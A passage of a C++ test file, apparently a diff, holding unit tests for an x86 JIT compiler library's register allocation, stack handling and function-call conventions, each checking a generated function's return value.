============================================================================ + +class X86Test_AllocIfElse3 : public X86Test { +public: + X86Test_AllocIfElse3() : X86Test("[Alloc] If-Else #3") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocIfElse3()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Gp v1 = cc.newInt32("v1"); + X86Gp v2 = cc.newInt32("v2"); + X86Gp counter = cc.newInt32("counter"); + + Label L_1 = cc.newLabel(); + Label L_Loop = cc.newLabel(); + Label L_Exit = cc.newLabel(); + + cc.setArg(0, v1); + cc.setArg(1, v2); + + cc.cmp(v1, v2); + cc.jg(L_1); + + cc.mov(counter, 0); + + cc.bind(L_Loop); + cc.mov(v1, counter); + + cc.inc(counter); + cc.cmp(counter, 1); + cc.jle(L_Loop); + cc.jmp(L_Exit); + + cc.bind(L_1); + cc.mov(v1, 2); + + cc.bind(L_Exit); + cc.ret(v1); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int); + Func func = ptr_as_func(_func); + + int a = func(0, 1); + int b = func(1, 0); + + result.appendFormat("ret={%d, %d}", a, b); + result.appendFormat("ret={%d, %d}", 1, 2); + + return a == 1 && b == 2; + } +}; + +// ============================================================================ +// [X86Test_AllocIfElse4] +// ============================================================================ + +class X86Test_AllocIfElse4 : public X86Test { +public: + X86Test_AllocIfElse4() : X86Test("[Alloc] If-Else #4") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocIfElse4()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Gp v1 = cc.newInt32("v1"); + X86Gp v2 = cc.newInt32("v2"); + X86Gp counter = cc.newInt32("counter"); + + Label L_1 = cc.newLabel(); + Label L_Loop1 = cc.newLabel(); + Label L_Loop2 = cc.newLabel(); + Label L_Exit = cc.newLabel(); + + cc.mov(counter, 0); + + cc.setArg(0, v1); + cc.setArg(1, v2); + + cc.cmp(v1, v2); + cc.jg(L_1); + + cc.bind(L_Loop1); + cc.mov(v1, counter); + + cc.inc(counter); + cc.cmp(counter, 1); + cc.jle(L_Loop1); + cc.jmp(L_Exit); + + cc.bind(L_1); + cc.bind(L_Loop2); + cc.mov(v1, counter); + cc.inc(counter); + cc.cmp(counter, 2); + cc.jle(L_Loop2); + + cc.bind(L_Exit); + cc.ret(v1); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int); + Func func = ptr_as_func(_func); + + int a = func(0, 1); + int b = func(1, 0); + + result.appendFormat("ret={%d, %d}", a, b); + result.appendFormat("ret={%d, %d}", 1, 2); + + return a == 1 && b == 2; + } +}; + +// ============================================================================ +// [X86Test_AllocInt8] +// ============================================================================ + +class X86Test_AllocInt8 : public X86Test { +public: + X86Test_AllocInt8() : X86Test("[Alloc] Int8") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocInt8()); + } + + virtual void compile(X86Compiler& cc) { + X86Gp x = cc.newInt8("x"); + X86Gp y = cc.newInt32("y"); + + cc.addFunc(FuncSignature1(CallConv::kIdHost)); + cc.setArg(0, x); + + cc.movsx(y, x); + + cc.ret(y); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(char); + Func func = ptr_as_func(_func); + + int resultRet = func(-13); + int expectRet = -13; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocArgsIntPtr] +// ============================================================================ + +class X86Test_AllocArgsIntPtr : public X86Test { +public: + X86Test_AllocArgsIntPtr() : X86Test("[Alloc] Args IntPtr") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocArgsIntPtr()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature8(CallConv::kIdHost)); + + uint32_t i; + X86Gp var[8]; + + for (i = 0; i < 8; i++) { + var[i] = cc.newIntPtr("var%u", i); + cc.setArg(i, var[i]); + } + + for (i = 0; i < 8; i++) { + cc.add(var[i], static_cast(i + 1)); + } + + // Move some data into buffer provided by arguments so we can verify if it + // really works without looking into assembler output. + for (i = 0; i < 8; i++) { + cc.add(x86::byte_ptr(var[i]), static_cast(i + 1)); + } + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(void*, void*, void*, void*, void*, void*, void*, void*); + Func func = ptr_as_func(_func); + + uint8_t resultBuf[9] = { 0, 0, 0, 0, 0, 0, 0, 0, 0 }; + uint8_t expectBuf[9] = { 0, 1, 2, 3, 4, 5, 6, 7, 8 }; + + func(resultBuf, resultBuf, resultBuf, resultBuf, + resultBuf, resultBuf, resultBuf, resultBuf); + + result.setFormat("buf={%d, %d, %d, %d, %d, %d, %d, %d, %d}", + resultBuf[0], resultBuf[1], resultBuf[2], resultBuf[3], + resultBuf[4], resultBuf[5], resultBuf[6], resultBuf[7], + resultBuf[8]); + expect.setFormat("buf={%d, %d, %d, %d, %d, %d, %d, %d, %d}", + expectBuf[0], expectBuf[1], expectBuf[2], expectBuf[3], + expectBuf[4], expectBuf[5], expectBuf[6], expectBuf[7], + expectBuf[8]); + + return result == expect; + } +}; + +// ============================================================================ +// [X86Test_AllocArgsFloat] +// ============================================================================ + +class X86Test_AllocArgsFloat : public X86Test { +public: + X86Test_AllocArgsFloat() : X86Test("[Alloc] Args Float") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocArgsFloat()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature8(CallConv::kIdHost)); + + uint32_t i; + + X86Gp p = cc.newIntPtr("p"); + X86Xmm xv[7]; + + for (i = 0; i < 7; i++) { + xv[i] = cc.newXmmSs("xv%u", i); + cc.setArg(i, xv[i]); + } + + cc.setArg(7, p); + + cc.addss(xv[0], xv[1]); + cc.addss(xv[0], xv[2]); + cc.addss(xv[0], xv[3]); + cc.addss(xv[0], xv[4]); + cc.addss(xv[0], xv[5]); + cc.addss(xv[0], xv[6]); + + cc.movss(x86::ptr(p), xv[0]); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(float, float, float, float, float, float, float, float*); + Func func = ptr_as_func(_func); + + float resultRet; + float expectRet = 1.0f + 2.0f + 3.0f + 4.0f + 5.0f + 6.0f + 7.0f; + + func(1.0f, 2.0f, 3.0f, 4.0f, 5.0f, 6.0f, 7.0f, &resultRet); + + result.setFormat("ret={%g}", resultRet); + expect.setFormat("ret={%g}", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocArgsDouble] +// ============================================================================ + +class X86Test_AllocArgsDouble : public X86Test { +public: + X86Test_AllocArgsDouble() : X86Test("[Alloc] Args Double") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocArgsDouble()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature8(CallConv::kIdHost)); + + uint32_t i; + + X86Gp p = cc.newIntPtr("p"); + X86Xmm xv[7]; + + for (i = 0; i < 7; i++) { + xv[i] = cc.newXmmSd("xv%u", i); + cc.setArg(i, xv[i]); + } + + cc.setArg(7, p); + + cc.addsd(xv[0], xv[1]); + cc.addsd(xv[0], xv[2]); + cc.addsd(xv[0], xv[3]); + cc.addsd(xv[0], xv[4]); + cc.addsd(xv[0], xv[5]); + cc.addsd(xv[0], xv[6]); + + cc.movsd(x86::ptr(p), xv[0]); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(double, double, double, double, double, double, double, double*); + Func func = ptr_as_func(_func); + + double resultRet; + double expectRet = 1.0 + 2.0 + 3.0 + 4.0 + 5.0 + 6.0 + 7.0; + + func(1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, &resultRet); + + result.setFormat("ret={%g}", resultRet); + expect.setFormat("ret={%g}", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocRetFloat1] +// ============================================================================ + +class X86Test_AllocRetFloat1 : public X86Test { +public: + X86Test_AllocRetFloat1() : X86Test("[Alloc] Ret Float #1") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocRetFloat1()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature1(CallConv::kIdHost)); + + X86Xmm a = cc.newXmmSs("a"); + cc.setArg(0, a); + cc.ret(a); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef float (*Func)(float); + Func func = ptr_as_func(_func); + + float resultRet = func(2.5f); + float expectRet = 2.5f; + + result.setFormat("ret={%g}", resultRet); + expect.setFormat("ret={%g}", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocRetFloat2] +// ============================================================================ + +class X86Test_AllocRetFloat2 : public X86Test { +public: + X86Test_AllocRetFloat2() : X86Test("[Alloc] Ret Float #2") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocRetFloat2()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Xmm a = cc.newXmmSs("a"); + X86Xmm b = cc.newXmmSs("b"); + + cc.setArg(0, a); + cc.setArg(1, b); + + cc.addss(a, b); + cc.ret(a); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef float (*Func)(float, float); + Func func = ptr_as_func(_func); + + float resultRet = func(1.0f, 2.0f); + float expectRet = 1.0f + 2.0f; + + result.setFormat("ret={%g}", resultRet); + expect.setFormat("ret={%g}", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocRetDouble1] +// ============================================================================ + +class X86Test_AllocRetDouble1 : public X86Test { +public: + X86Test_AllocRetDouble1() : X86Test("[Alloc] Ret Double #1") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocRetDouble1()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature1(CallConv::kIdHost)); + + X86Xmm a = cc.newXmmSd("a"); + cc.setArg(0, a); + cc.ret(a); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef double (*Func)(double); + Func func = ptr_as_func(_func); + + double resultRet = func(2.5); + double expectRet = 2.5; + + result.setFormat("ret={%g}", resultRet); + expect.setFormat("ret={%g}", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocRetDouble2] +// ============================================================================ + +class X86Test_AllocRetDouble2 : public X86Test { +public: + X86Test_AllocRetDouble2() : X86Test("[Alloc] Ret Double #2") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocRetDouble2()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature2(CallConv::kIdHost)); + + X86Xmm a = cc.newXmmSd("a"); + X86Xmm b = cc.newXmmSd("b"); + + cc.setArg(0, a); + cc.setArg(1, b); + + cc.addsd(a, b); + cc.ret(a); + + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef double (*Func)(double, double); + Func func = ptr_as_func(_func); + + double resultRet = func(1.0, 2.0); + double expectRet = 1.0 + 2.0; + + result.setFormat("ret={%g}", resultRet); + expect.setFormat("ret={%g}", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocStack1] +// ============================================================================ + +class X86Test_AllocStack1 : public X86Test { +public: + X86Test_AllocStack1() : X86Test("[Alloc] Stack #1") {} + + enum { kSize = 256 }; + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocStack1()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + X86Mem stack = cc.newStack(kSize, 1); + stack.setSize(1); + + X86Gp i = cc.newIntPtr("i"); + X86Gp a = cc.newInt32("a"); + X86Gp b = cc.newInt32("b"); + + Label L_1 = cc.newLabel(); + Label L_2 = cc.newLabel(); + + // Fill stack by sequence [0, 1, 2, 3 ... 255]. + cc.xor_(i, i); + + X86Mem stackWithIndex = stack.clone(); + stackWithIndex.setIndex(i, 0); + + cc.bind(L_1); + cc.mov(stackWithIndex, i.r8()); + cc.inc(i); + cc.cmp(i, 255); + cc.jle(L_1); + + // Sum sequence in stack. + cc.xor_(i, i); + cc.xor_(a, a); + + cc.bind(L_2); + cc.movzx(b, stackWithIndex); + cc.add(a, b); + cc.inc(i); + cc.cmp(i, 255); + cc.jle(L_2); + + cc.ret(a); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = 32640; + + result.setInt(resultRet); + expect.setInt(expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocStack2] +// ============================================================================ + +class X86Test_AllocStack2 : public X86Test { +public: + X86Test_AllocStack2() : X86Test("[Alloc] Stack #2") {} + + enum { kSize = 256 }; + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocStack2()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + const int kTokenSize = 32; + + X86Mem s1 = cc.newStack(kTokenSize, 32); + X86Mem s2 = cc.newStack(kTokenSize, 32); + + X86Gp p1 = cc.newIntPtr("p1"); + X86Gp p2 = cc.newIntPtr("p2"); + + X86Gp ret = cc.newInt32("ret"); + Label L_Exit = cc.newLabel(); + + static const char token[kTokenSize] = "-+:|abcdefghijklmnopqrstuvwxyz|"; + CCFuncCall* call; + + cc.lea(p1, s1); + cc.lea(p2, s2); + + // Try to corrupt the stack if wrongly allocated. + call = cc.call(imm_ptr((void*)memcpy), FuncSignature3(CallConv::kIdHostCDecl)); + call->setArg(0, p1); + call->setArg(1, imm_ptr(token)); + call->setArg(2, imm(kTokenSize)); + call->setRet(0, p1); + + call = cc.call(imm_ptr((void*)memcpy), FuncSignature3(CallConv::kIdHostCDecl)); + call->setArg(0, p2); + call->setArg(1, imm_ptr(token)); + call->setArg(2, imm(kTokenSize)); + call->setRet(0, p2); + + call = cc.call(imm_ptr((void*)memcmp), FuncSignature3(CallConv::kIdHostCDecl)); + call->setArg(0, p1); + call->setArg(1, p2); + call->setArg(2, imm(kTokenSize)); + call->setRet(0, ret); + + // This should be 0 on success, however, if both `p1` and `p2` were + // allocated in the same address this check will still pass. + cc.cmp(ret, 0); + cc.jnz(L_Exit); + + // Checks whether `p1` and `p2` are different (must be). + cc.xor_(ret, ret); + cc.cmp(p1, p2); + cc.setz(ret.r8()); + + cc.bind(L_Exit); + cc.ret(ret); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = 0; // Must be zero, stack addresses must be different. + + result.setInt(resultRet); + expect.setInt(expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_AllocMemcpy] +// ============================================================================ + +class X86Test_AllocMemcpy : public X86Test { +public: + X86Test_AllocMemcpy() : X86Test("[Alloc] Memcpy") {} + + enum { kCount = 32 }; + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocMemcpy()); + } + + virtual void compile(X86Compiler& cc) { + X86Gp dst = cc.newIntPtr("dst"); + X86Gp src = cc.newIntPtr("src"); + X86Gp cnt = cc.newUIntPtr("cnt"); + + Label L_Loop = cc.newLabel(); // Create base labels we use + Label L_Exit = cc.newLabel(); // in our function. + + cc.addFunc(FuncSignature3(CallConv::kIdHost)); + cc.setArg(0, dst); + cc.setArg(1, src); + cc.setArg(2, cnt); + + cc.alloc(dst); // Allocate all registers now, + cc.alloc(src); // because we want to keep them + cc.alloc(cnt); // in physical registers only. + + cc.test(cnt, cnt); // Exit if length is zero. + cc.jz(L_Exit); + + cc.bind(L_Loop); // Bind the loop label here. + + X86Gp tmp = cc.newInt32("tmp"); // Copy a single dword (4 bytes). + cc.mov(tmp, x86::dword_ptr(src)); + cc.mov(x86::dword_ptr(dst), tmp); + + cc.add(src, 4); // Increment dst/src pointers. + cc.add(dst, 4); + + cc.dec(cnt); // Loop until cnt isn't zero. + cc.jnz(L_Loop); + + cc.bind(L_Exit); // Bind the exit label here. + cc.endFunc(); // End of function. + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(uint32_t*, const uint32_t*, size_t); + Func func = ptr_as_func(_func); + + uint32_t i; + + uint32_t dstBuffer[kCount]; + uint32_t srcBuffer[kCount]; + + for (i = 0; i < kCount; i++) { + dstBuffer[i] = 0; + srcBuffer[i] = i; + } + + func(dstBuffer, srcBuffer, kCount); + + result.setString("buf={"); + expect.setString("buf={"); + + for (i = 0; i < kCount; i++) { + if (i != 0) { + result.appendString(", "); + expect.appendString(", "); + } + + result.appendFormat("%u", static_cast(dstBuffer[i])); + expect.appendFormat("%u", static_cast(srcBuffer[i])); + } + + result.appendString("}"); + expect.appendString("}"); + + return result == expect; + } +}; + +// ============================================================================ +// [X86Test_AllocAlphaBlend] +// ============================================================================ + +class X86Test_AllocAlphaBlend : public X86Test { +public: + X86Test_AllocAlphaBlend() : X86Test("[Alloc] AlphaBlend") {} + + enum { kCount = 17 }; + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_AllocAlphaBlend()); + } + + static uint32_t blendSrcOver(uint32_t d, uint32_t s) { + uint32_t saInv = ~s >> 24; + + uint32_t d_20 = (d ) & 0x00FF00FF; + uint32_t d_31 = (d >> 8) & 0x00FF00FF; + + d_20 *= saInv; + d_31 *= saInv; + + d_20 = ((d_20 + ((d_20 >> 8) & 0x00FF00FFU) + 0x00800080U) & 0xFF00FF00U) >> 8; + d_31 = ((d_31 + ((d_31 >> 8) & 0x00FF00FFU) + 0x00800080U) & 0xFF00FF00U); + + return d_20 + d_31 + s; + } + + virtual void compile(X86Compiler& cc) { + asmtest::generateAlphaBlend(cc); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef void (*Func)(void*, const void*, size_t); + Func func = ptr_as_func(_func); + + static const uint32_t dstConstData[] = { 0x00000000, 0x10101010, 0x20100804, 0x30200003, 0x40204040, 0x5000004D, 0x60302E2C, 0x706F6E6D, 0x807F4F2F, 0x90349001, 0xA0010203, 0xB03204AB, 0xC023AFBD, 0xD0D0D0C0, 0xE0AABBCC, 0xFFFFFFFF, 0xF8F4F2F1 }; + static const uint32_t srcConstData[] = { 0xE0E0E0E0, 0xA0008080, 0x341F1E1A, 0xFEFEFEFE, 0x80302010, 0x49490A0B, 0x998F7798, 0x00000000, 0x01010101, 0xA0264733, 0xBAB0B1B9, 0xFF000000, 0xDAB0A0C1, 0xE0BACFDA, 0x99887766, 0xFFFFFF80, 0xEE0A5FEC }; + + uint32_t _dstBuffer[kCount + 3]; + uint32_t _srcBuffer[kCount + 3]; + + // Has to be aligned. + uint32_t* dstBuffer = (uint32_t*)Utils::alignTo((intptr_t)_dstBuffer, 16); + uint32_t* srcBuffer = (uint32_t*)Utils::alignTo((intptr_t)_srcBuffer, 16); + + ::memcpy(dstBuffer, dstConstData, sizeof(dstConstData)); + ::memcpy(srcBuffer, srcConstData, sizeof(srcConstData)); + + uint32_t i; + uint32_t expBuffer[kCount]; + + for (i = 0; i < kCount; i++) { + expBuffer[i] = blendSrcOver(dstBuffer[i], srcBuffer[i]); + } + + func(dstBuffer, srcBuffer, kCount); + + result.setString("buf={"); + expect.setString("buf={"); + + for (i = 0; i < kCount; i++) { + if (i != 0) { + result.appendString(", "); + expect.appendString(", "); + } + + result.appendFormat("%08X", static_cast(dstBuffer[i])); + expect.appendFormat("%08X", static_cast(expBuffer[i])); + } + + result.appendString("}"); + expect.appendString("}"); + + return result == expect; + } +}; + +// ============================================================================ +// [X86Test_CallBase] +// ============================================================================ + +class X86Test_CallBase : public X86Test { +public: + X86Test_CallBase() : X86Test("[Call] CDecl") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallBase()); + } + + virtual void compile(X86Compiler& cc) { + X86Gp v0 = cc.newInt32("v0"); + X86Gp v1 = cc.newInt32("v1"); + X86Gp v2 = cc.newInt32("v2"); + + cc.addFunc(FuncSignature3(CallConv::kIdHost)); + cc.setArg(0, v0); + cc.setArg(1, v1); + cc.setArg(2, v2); + + // Just do something. + cc.shl(v0, 1); + cc.shl(v1, 1); + cc.shl(v2, 1); + + // Call a function. + X86Gp fn = cc.newIntPtr("fn"); + cc.mov(fn, imm_ptr(calledFunc)); + + CCFuncCall* call = cc.call(fn, FuncSignature3(CallConv::kIdHost)); + call->setArg(0, v2); + call->setArg(1, v1); + call->setArg(2, v0); + call->setRet(0, v0); + + cc.ret(v0); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int, int, int); + Func func = ptr_as_func(_func); + + int resultRet = func(3, 2, 1); + int expectRet = 36; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } + + static int calledFunc(int a, int b, int c) { return (a + b) * c; } +}; + +// ============================================================================ +// [X86Test_CallFast] +// ============================================================================ + +class X86Test_CallFast : public X86Test { +public: + X86Test_CallFast() : X86Test("[Call] Fastcall") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallFast()); + } + + virtual void compile(X86Compiler& cc) { + X86Gp var = cc.newInt32("var"); + X86Gp fn = cc.newIntPtr("fn"); + + cc.addFunc(FuncSignature1(CallConv::kIdHost)); + cc.setArg(0, var); + + cc.mov(fn, imm_ptr(calledFunc)); + CCFuncCall* call; + + call = cc.call(fn, FuncSignature1(CallConv::kIdHostFastCall)); + call->setArg(0, var); + call->setRet(0, var); + + call = cc.call(fn, FuncSignature1(CallConv::kIdHostFastCall)); + call->setArg(0, var); + call->setRet(0, var); + + cc.ret(var); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(int); + Func func = ptr_as_func(_func); + + int resultRet = func(9); + int expectRet = (9 * 9) * (9 * 9); + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } + + // Function that is called inside the generated one. Because this test is + // mainly about register arguments, we need to use the fastcall calling + // convention when running 32-bit. + static int ASMJIT_FASTCALL calledFunc(int a) { return a * a; } +}; + +// ============================================================================ +// [X86Test_CallManyArgs] +// ============================================================================ + +class X86Test_CallManyArgs : public X86Test { +public: + X86Test_CallManyArgs() : X86Test("[Call] Many Args") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallManyArgs()); + } + + static int calledFunc(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j) { + return (a * b * c * d * e) + (f * g * h * i * j); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + // Prepare. + X86Gp fn = cc.newIntPtr("fn"); + X86Gp va = cc.newInt32("va"); + X86Gp vb = cc.newInt32("vb"); + X86Gp vc = cc.newInt32("vc"); + X86Gp vd = cc.newInt32("vd"); + X86Gp ve = cc.newInt32("ve"); + X86Gp vf = cc.newInt32("vf"); + X86Gp vg = cc.newInt32("vg"); + X86Gp vh = cc.newInt32("vh"); + X86Gp vi = cc.newInt32("vi"); + X86Gp vj = cc.newInt32("vj"); + + cc.mov(fn, imm_ptr(calledFunc)); + cc.mov(va, 0x03); + cc.mov(vb, 0x12); + cc.mov(vc, 0xA0); + cc.mov(vd, 0x0B); + cc.mov(ve, 0x2F); + cc.mov(vf, 0x02); + cc.mov(vg, 0x0C); + cc.mov(vh, 0x12); + cc.mov(vi, 0x18); + cc.mov(vj, 0x1E); + + // Call function. + CCFuncCall* call = cc.call(fn, FuncSignature10(CallConv::kIdHost)); + call->setArg(0, va); + call->setArg(1, vb); + call->setArg(2, vc); + call->setArg(3, vd); + call->setArg(4, ve); + call->setArg(5, vf); + call->setArg(6, vg); + call->setArg(7, vh); + call->setArg(8, vi); + call->setArg(9, vj); + call->setRet(0, va); + + cc.ret(va); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = calledFunc(0x03, 0x12, 0xA0, 0x0B, 0x2F, 0x02, 0x0C, 0x12, 0x18, 0x1E); + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_CallDuplicateArgs] +// ============================================================================ + +class X86Test_CallDuplicateArgs : public X86Test { +public: + X86Test_CallDuplicateArgs() : X86Test("[Call] Duplicate Args") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallDuplicateArgs()); + } + + static int calledFunc(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j) { + return (a * b * c * d * e) + (f * g * h * i * j); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + // Prepare. + X86Gp fn = cc.newIntPtr("fn"); + X86Gp a = cc.newInt32("a"); + + cc.mov(fn, imm_ptr(calledFunc)); + cc.mov(a, 3); + + // Call function. + CCFuncCall* call = cc.call(fn, FuncSignature10(CallConv::kIdHost)); + call->setArg(0, a); + call->setArg(1, a); + call->setArg(2, a); + call->setArg(3, a); + call->setArg(4, a); + call->setArg(5, a); + call->setArg(6, a); + call->setArg(7, a); + call->setArg(8, a); + call->setArg(9, a); + call->setRet(0, a); + + cc.ret(a); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = calledFunc(3, 3, 3, 3, 3, 3, 3, 3, 3, 3); + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_CallImmArgs] +// ============================================================================ + +class X86Test_CallImmArgs : public X86Test { +public: + X86Test_CallImmArgs() : X86Test("[Call] Imm Args") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallImmArgs()); + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + // Prepare. + X86Gp fn = cc.newIntPtr("fn"); + X86Gp rv = cc.newInt32("rv"); + + cc.mov(fn, imm_ptr(X86Test_CallManyArgs::calledFunc)); + + // Call function. + CCFuncCall* call = cc.call(fn, FuncSignature10(CallConv::kIdHost)); + call->setArg(0, imm(0x03)); + call->setArg(1, imm(0x12)); + call->setArg(2, imm(0xA0)); + call->setArg(3, imm(0x0B)); + call->setArg(4, imm(0x2F)); + call->setArg(5, imm(0x02)); + call->setArg(6, imm(0x0C)); + call->setArg(7, imm(0x12)); + call->setArg(8, imm(0x18)); + call->setArg(9, imm(0x1E)); + call->setRet(0, rv); + + cc.ret(rv); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = X86Test_CallManyArgs::calledFunc(0x03, 0x12, 0xA0, 0x0B, 0x2F, 0x02, 0x0C, 0x12, 0x18, 0x1E); + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_CallPtrArgs] +// ============================================================================ + +class X86Test_CallPtrArgs : public X86Test { +public: + X86Test_CallPtrArgs() : X86Test("[Call] Ptr Args") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallPtrArgs()); + } + + static int calledFunc(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j) { + return static_cast((intptr_t)a) + + static_cast((intptr_t)b) + + static_cast((intptr_t)c) + + static_cast((intptr_t)d) + + static_cast((intptr_t)e) + + static_cast((intptr_t)f) + + static_cast((intptr_t)g) + + static_cast((intptr_t)h) + + static_cast((intptr_t)i) + + static_cast((intptr_t)j) ; + } + + virtual void compile(X86Compiler& cc) { + cc.addFunc(FuncSignature0(CallConv::kIdHost)); + + // Prepare. + X86Gp fn = cc.newIntPtr("fn"); + X86Gp rv = cc.newInt32("rv"); + + cc.mov(fn, imm_ptr(calledFunc)); + + // Call function. + CCFuncCall* call = cc.call(fn, FuncSignature10(CallConv::kIdHost)); + call->setArg(0, imm(0x01)); + call->setArg(1, imm(0x02)); + call->setArg(2, imm(0x03)); + call->setArg(3, imm(0x04)); + call->setArg(4, imm(0x05)); + call->setArg(5, imm(0x06)); + call->setArg(6, imm(0x07)); + call->setArg(7, imm(0x08)); + call->setArg(8, imm(0x09)); + call->setArg(9, imm(0x0A)); + call->setRet(0, rv); + + cc.ret(rv); + cc.endFunc(); + } + + virtual bool run(void* _func, StringBuilder& result, StringBuilder& expect) { + typedef int (*Func)(void); + Func func = ptr_as_func(_func); + + int resultRet = func(); + int expectRet = 55; + + result.setFormat("ret=%d", resultRet); + expect.setFormat("ret=%d", expectRet); + + return resultRet == expectRet; + } +}; + +// ============================================================================ +// [X86Test_CallFloatAsXmmRet] +// ============================================================================ + +class X86Test_CallFloatAsXmmRet : public X86Test { +public: + X86Test_CallFloatAsXmmRet() : X86Test("[Call] Float As Xmm Ret") {} + + static void add(X86TestManager& mgr) { + mgr.add(new X86Test_CallFloatAsXmmRet()); + } + + static float calledFunc(float a, float b) { + return a * b; + } + + virtual void 